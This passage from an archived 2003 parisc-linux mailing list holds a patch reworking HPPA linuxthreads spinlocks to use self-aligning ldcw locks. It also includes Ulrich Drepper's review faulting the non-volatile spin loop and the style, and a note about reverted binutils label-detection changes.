        * app.c (do_scrub_chars): More checks for valid labels.

2003-04-22  H.J. Lu <hjl@gnu.org>

	* app.c (do_scrub_chars): Check for valid label.

	I reverted the relevant part of the above on the 2.14 branch.

2003-04-30  Alan Modra  <amodra@bigpond.net.au>

	* config/tc-hppa.c (hppa_symbol_chars): Revert 2003-04-28 change.
	* config/tc-hppa.h (tc_symbol_chars): Likewise.
	* config/tc-ppc.c (ppc_symbol_chars): Revert 2003-04-24 change.
	* config/tc-ppc.h (tc_symbol_chars): Likewise.
	* app.c (do_scrub_chars): Revert 2003-04-23 and 2003-04-22 changes.

These are still on the binutils trunk.  For the moment, I would advise
not using any binutils version which includes these changes.  While
the assembler probably will work ok with GCC, the semantics have
changed sufficiently that there may be problems with hand written
assembler files.

These were done nominally to improve the detection of labels on ia64.
However, the change to tc-hppa.c has affected the removal of extraneous
whitespace.  I think it also has affected the character set allowed to
be used for symbols.  If it has, I am going to ask for reversion of the
above changes.

Joel, could you send me offline a few lines from real2.S around line 126?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] HPPA Linuxthreads.
Date: Wed, 21 May 2003 13:29:29 -0400
Lines: 551
Approved: news@gmane.org
Message-ID: <20030521172929.GB21858__39026.1865956292$1416622474$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622474 25942 80.91.229.3 (22 Nov 2014 02:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 11:28:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com (fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1875E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 11:28:31 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.174])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030521172816.DZDG518358.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Wed, 21 May 2003 13:28:16 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (59% Sync Ratio [======....])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.112.227.174] using ID <patofiero@rogers.com> at Wed, 21 May 2003 13:28:16 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18538

libc-alpha,

This is a cleaner HPPA linuxthreads implementation that stems from the
work that John David Anglin <dave.anglin@nrc-cnrc.gc.ca> and myself did 
to devise a self-aligning lock system that doesn't impose the 16-byte 
lock alignment restriction. Many thanks go to John for all his hard
work! 

This will also allow hppa to relax malloc alignment back to 8 (future
patches).

libc/linuxthreads/*

 sysdeps/hppa/pt-machine.h                    |   81 ++++++++++++++++++++++-----
 sysdeps/hppa/pspinlock.c                     |   29 ++++-----
 sysdeps/unix/sysv/linux/hppa/bits/initspin.h |   22 +++++--

 sysdeps/pthread/bits/libc-lock.h             |    6 +-
 sysdeps/pthread/bits/pthreadtypes.h          |    8 +-

 descr.h                                      |    2 
 pt-machine.c                                 |    4 +
 pthread.c                                    |   14 ++--
 spinlock.c                                   |   24 ++++----
 spinlock.h                                   |   26 ++++++--

 10 files changed, 148 insertions(+), 68 deletions(-)

Comments welcome. Patches tested on HPPA, i686.

c.
---

2003-05-19  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* linuxthreads/sysdeps/hppa/pt-machine.h
	(THREAD_SELF): Define.
	(INIT_THREAD_SELF): Define.
	(testandset): Use __ldcw_align.
	(lock_held): Define.
	(__ldcw): Define.
	(__ldcw_align): Define.
	(__load_and_clear): Define.
	* linuxthreads/sysdeps/hppa/pspinlock.c
	(__pthread_spin_lock): Use __ldcw_align.
	(__pthread_spin_trylock): Likewise.
	(__pthread_spin_unlock): Likewise.
	(__pthread_spin_init): Likewise.
	* linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
	(__LT_SPINLOCK_INIT): Define.
	(__LT_SPINLOCK_ALT_INIT): Define.
	(__LOCK_INITIALIZER): Define.
	(__LOCK_ALT_INITIALIZER): Define.
	(__ATOMIC_INITIALIZER): Define.
	(__LT_INITIALIZER_NOT_ZERO): Define.

	* linuxthreads/sysdeps/pthread/bits/libc-lock.h:
	Use __LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.
	* linuxthreads/sysdeps/pthread/bits/pthreadtypes.h:
	Add global default definition for __atomic_lock_t.
	(pthread_fastlock): Change __spinlock to type __atomic_lock_t.

	* linuxthreads/descr.h (pthread_atomic): change p_spinlock 
	to type __atomic_lock_t from int *.
	* linuxthreads/pt-machine.c: include pthread.h, change
	extern testandset prototype to use __atomic_lock_t * spinlock.
	* linuxthreads/pthread.c (__pthread_initialize_minimal): 
	Use __LT_INITIALIZER_NOT_ZERO.
	* linuxthreads/spinlock.c: use __pthread_lock_define_initialized
	macro to initialize wait_node_free_list_spinlock.
	(__pthread_acquire): change prototype to use 
	__atomic_lock_t * spinlock.
	(__pthread_release): Likewise.
	(__pthread_compare_and_swap): Likewise.
	(__pthread_acquire): Likewise.
	(__pthread_alt_lock): Use __LT_SPINLOCK_INIT to initialize locks.
	(__pthread_alt_timedlock): Likewise.
	* linuxthreads/spinlock.h: define default lock_held, 
	__pthread_lock_define_initialized, and modify prototypes for
	__pthread_compare_and_swap, compare_and_swap,
	compare_and_swap_with_release_semantics, compare_and_swap,
	__pthread_compare_and_swap to use __atomic_lock_t * spinlock.

diff -urN glibc-2.3.1.orig/linuxthreads/descr.h glibc-2.3.1/linuxthreads/descr.h
--- glibc-2.3.1.orig/linuxthreads/descr.h	2003-01-15 12:58:11.000000000 -0500
+++ glibc-2.3.1/linuxthreads/descr.h	2003-01-15 18:24:36.000000000 -0500
@@ -70,7 +70,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.1.orig/linuxthreads/pt-machine.c glibc-2.3.1/linuxthreads/pt-machine.c
--- glibc-2.3.1.orig/linuxthreads/pt-machine.c	2002-08-26 18:39:45.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pt-machine.c	2003-01-15 18:24:36.000000000 -0500
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -urN glibc-2.3.1.orig/linuxthreads/pthread.c glibc-2.3.1/linuxthreads/pthread.c
--- glibc-2.3.1.orig/linuxthreads/pthread.c	2003-01-15 12:58:15.000000000 -0500
+++ glibc-2.3.1/linuxthreads/pthread.c	2003-01-15 18:24:36.000000000 -0500
@@ -296,9 +296,9 @@
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -366,7 +366,7 @@
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -380,9 +380,9 @@
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.c glibc-2.3.1/linuxthreads/spinlock.c
--- glibc-2.3.1.orig/linuxthreads/spinlock.c	2002-08-29 06:32:19.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.c	2003-01-15 18:24:36.000000000 -0500
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.h glibc-2.3.1/linuxthreads/spinlock.h
--- glibc-2.3.1.orig/linuxthreads/spinlock.h	2001-05-24 19:36:35.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.h	2003-01-15 18:24:36.000000000 -0500
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c	2003-01-15 18:26:51.000000000 -0500
@@ -24,15 +24,12 @@
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
+	unsigned int *addr = __ldcw_align (lock);
+	
+	while (__ldcw (addr) == 0)
+		while (*addr == 0) ;
 
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
-
-  return 0;
+	return 0;
 }
 weak_alias (__pthread_spin_lock, pthread_spin_lock)
 
@@ -40,13 +37,9 @@
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
-
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
+	unsigned int *a = __ldcw_align (lock);
 
-  return val ? 0 : EBUSY;
+	return __ldcw (a) ? 0 : EBUSY;
 }
 weak_alias (__pthread_spin_trylock, pthread_spin_trylock)
 
@@ -54,7 +47,9 @@
 int
 __pthread_spin_unlock (pthread_spinlock_t *lock)
 {
-  *lock = 1;
+  unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_unlock, pthread_spin_unlock)
@@ -66,7 +61,9 @@
   /* We can ignore the `pshared' parameter.  Since we are busy-waiting
      all processes which can access the memory location `lock' points
      to can use the spinlock.  */
-  *lock = 1;
+  unsigned int *a = __ldcw_align (lock);
+
+  *a = 1;
   return 0;
 }
 weak_alias (__pthread_spin_init, pthread_spin_init)
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h	2003-01-15 18:24:49.000000000 -0500
@@ -22,13 +22,13 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline
 #endif
 
-extern long int testandset (int *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 /* Get some notion of the current stack.  Need not be exactly the top
@@ -36,27 +36,80 @@
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+ * modify it, but we can read it in user mode.  */
+
+#define THREAD_SELF __get_cr27()
+
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+	long cr27;
+	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+	return (struct _pthread_descr_struct *) cr27;
+}
+
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+	asm(
+		"ble	0xe0(%%sr2, %%r0)\n\t"
+		"copy	%0, %%r26"
+	 : : "r" (cr27) : "r26" );
+}
+
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
-   someone is holding the lock.  */
+   someone is holding the lock.  The address used for the ldcw
+   semaphore must be 16-byte aligned.  */
+#define __ldcw(a) ({ \
+  unsigned int __ret;							\
+  __asm__ __volatile__("ldcw 0(%2),%0"					\
+                      : "=r" (__ret), "=m" (*(a)) : "r" (a));		\
+  __ret;								\
+})
+
+/* Because malloc only guarantees 8-byte alignment for malloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  unsigned int __ret = (unsigned int) a;				\
+  if ((__ret & ~(__PA_LDCW_ALIGNMENT - 1)) < (unsigned int) a)		\
+    __ret = (__ret & ~(__PA_LDCW_ALIGNMENT - 1)) + __PA_LDCW_ALIGNMENT; \
+  (unsigned int *) __ret;						\
+})
 
-#define xstr(s) str(s)
-#define str(s) #s
 /* Spinlock implementation; required.  */
-PT_EI long int
-testandset (int *spinlock)
+PT_EI int
+__load_and_clear (__atomic_lock_t *spinlock)
 {
-  int ret;
+  unsigned int *a = __ldcw_align (spinlock);
 
-  __asm__ __volatile__(
-       "ldcw 0(%2),%0"
-       : "=r"(ret), "=m"(*spinlock)
-       : "r"(spinlock));
+  return __ldcw (a);
+}
 
-  return ret == 0;
+/* Emulate testandset */
+PT_EI long int
+testandset (__atomic_lock_t *spinlock)
+{
+  return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
 
+PT_EI int
+lock_held (__atomic_lock_t *spinlock)
+{
+  unsigned int *a = __ldcw_align (spinlock);
+
+  return *a == 0;
+}
+		
 #endif /* pt-machine.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 18:24:36.000000000 -0500
@@ -71,12 +71,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 18:24:36.000000000 -0500
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2003-01-15 18:24:49.000000000 -0500
@@ -17,11 +17,23 @@
    write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
    Boston, MA 02111-1307, USA.  */
 
+/* Initialize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1, } }
+
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t) __LT_SPINLOCK_ALT_INIT)
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ 0, __LT_SPINLOCK_INIT })
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }


From - Thu Nov 08 21:27:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] HPPA Linuxthreads.
Date: Wed, 21 May 2003 10:57:57 -0700
Organization: Red Hat, Inc.
Lines: 55
Approved: news@gmane.org
Message-ID: <3ECBBE25.8090302__38112.3577048585$1416622474$gmane$org@redhat.com>
References: <20030521172929.GB21858@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622474 25945 80.91.229.3 (22 Nov 2014 02:14:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:34 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 21 11:58:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DFA54829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 May 2003 11:58:18 -0600 (MDT)
Original-Received: from redhat.com (myware.akkadia.org [192.168.7.70])
	(authenticated bits=0)
	by myware.akkadia.org (8.12.8/8.12.5) with ESMTP id h4LHvvL3003469;
	Wed, 21 May 2003 10:57:57 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4b) Gecko/20030520
X-Accept-Language: en-us, en
In-Reply-To: <20030521172929.GB21858@systemhalted>
X-Enigmail-Version: 0.75.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18539

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Carlos O'Donell wrote:

> This is a cleaner HPPA linuxthreads implementation that stems from the
> work that John David Anglin <dave.anglin@nrc-cnrc.gc.ca> and myself did 
> to devise a self-aligning lock system that doesn't impose the 16-byte 
> lock alignment restriction.

The indentation and general style is wrong in many places.


> diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c
> --- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-26 18:39:51.000000000 -0400
> +++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c	2003-01-15 18:26:51.000000000 -0500
> @@ -24,15 +24,12 @@
>  int
>  __pthread_spin_lock (pthread_spinlock_t *lock)
>  {
> -  unsigned int val;
> +	unsigned int *addr = __ldcw_align (lock);
> +	
> +	while (__ldcw (addr) == 0)
> +		while (*addr == 0) ;

This is plain wrong.  addr at least must be volatile.

And I don't understand why you removed the asm code.  These pieces of
code are prime candidates for hand-coding.


> +static inline struct _pthread_descr_struct * __get_cr27(void)
> +{
> +	long cr27;
> +	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
> +	return (struct _pthread_descr_struct *) cr27;
> +}

Not a real problem, but you should get gcc to recognize this reqister
and perform the loading.

- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+y74l2ijCOnn/RHQRAvZ1AKCkAhua5qA19EDylfBz2Zhp8dROIACfTrwO
9Slpj32aUy92PiggDNexZBE=
=6Ilf
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
